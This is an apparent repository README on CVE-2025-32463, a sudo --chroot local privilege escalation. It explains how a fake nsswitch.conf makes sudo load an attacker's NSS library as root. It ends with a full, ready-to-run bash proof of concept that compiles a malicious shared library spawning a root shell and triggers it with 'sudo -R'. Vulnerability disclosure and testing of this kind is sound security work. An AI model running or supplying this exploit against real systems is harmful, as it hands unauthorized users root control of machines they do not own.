📌 CVE-2025-32463 — Sudo --chroot Local Privilege Escalation

ExploitDB ID: 52352

🧠 Overview

This repository documents a critical local privilege escalation (LPE) vulnerability affecting Sudo versions 1.9.14 – 1.9.17.

The vulnerability arises from an incorrect implementation of the sudo -R (--chroot) option and allows an attacker to execute commands with root privileges even if not authorized in the sudoers file.

🔥 Result: Unauthorized user → root shell

🧩 Affected Component

• Software: sudo
• Affected Versions:
  • 1.9.14
  • 1.9.15
  • 1.9.16
  • 1.9.17
• CVE ID: CVE-2025-32463
• Platform: Linux (especially systems using NSS)
• Tested System: Kali Rolling 2025

⚙️ Technical Cause of the Vulnerability

The --chroot (-R) parameter of sudo allows the user to execute commands under a root directory of their choice.

However, as a result of a change made in sudo 1.9.14:

• The sudoers file has not yet been fully validated
• The chroot() call is performed using the directory specified by the user

This allows an attacker, through a fake:

/etc/nsswitch.conf

file, to cause a malicious NSS library (libnss_*.so) to be loaded with root privileges.

🧨 Attack Scenario (Summary)

1. A temporary directory is created
2. A fake nsswitch.conf is prepared
3. A malicious NSS shared library is compiled
4. A sudo -R <dir> <command> call is made
5. The NSS library is loaded with root privileges
6. Root shell is obtained 🚀

🧪 Proof of Concept (PoC)

⚠️ For use only in educational and test environments

#!/bin/bash
# sudo-chwoot.sh – PoC for CVE-2025-32463

set -e

STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
cd "$STAGE"

cat > woot1337.c <<'EOF'
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor))
void woot(void) {
    setreuid(0,0);
    setregid(0,0);
    chdir("/");
    execl("/bin/bash","/bin/bash",NULL);
}
EOF

mkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
cp /etc/group woot/etc

gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c

sudo -R woot woot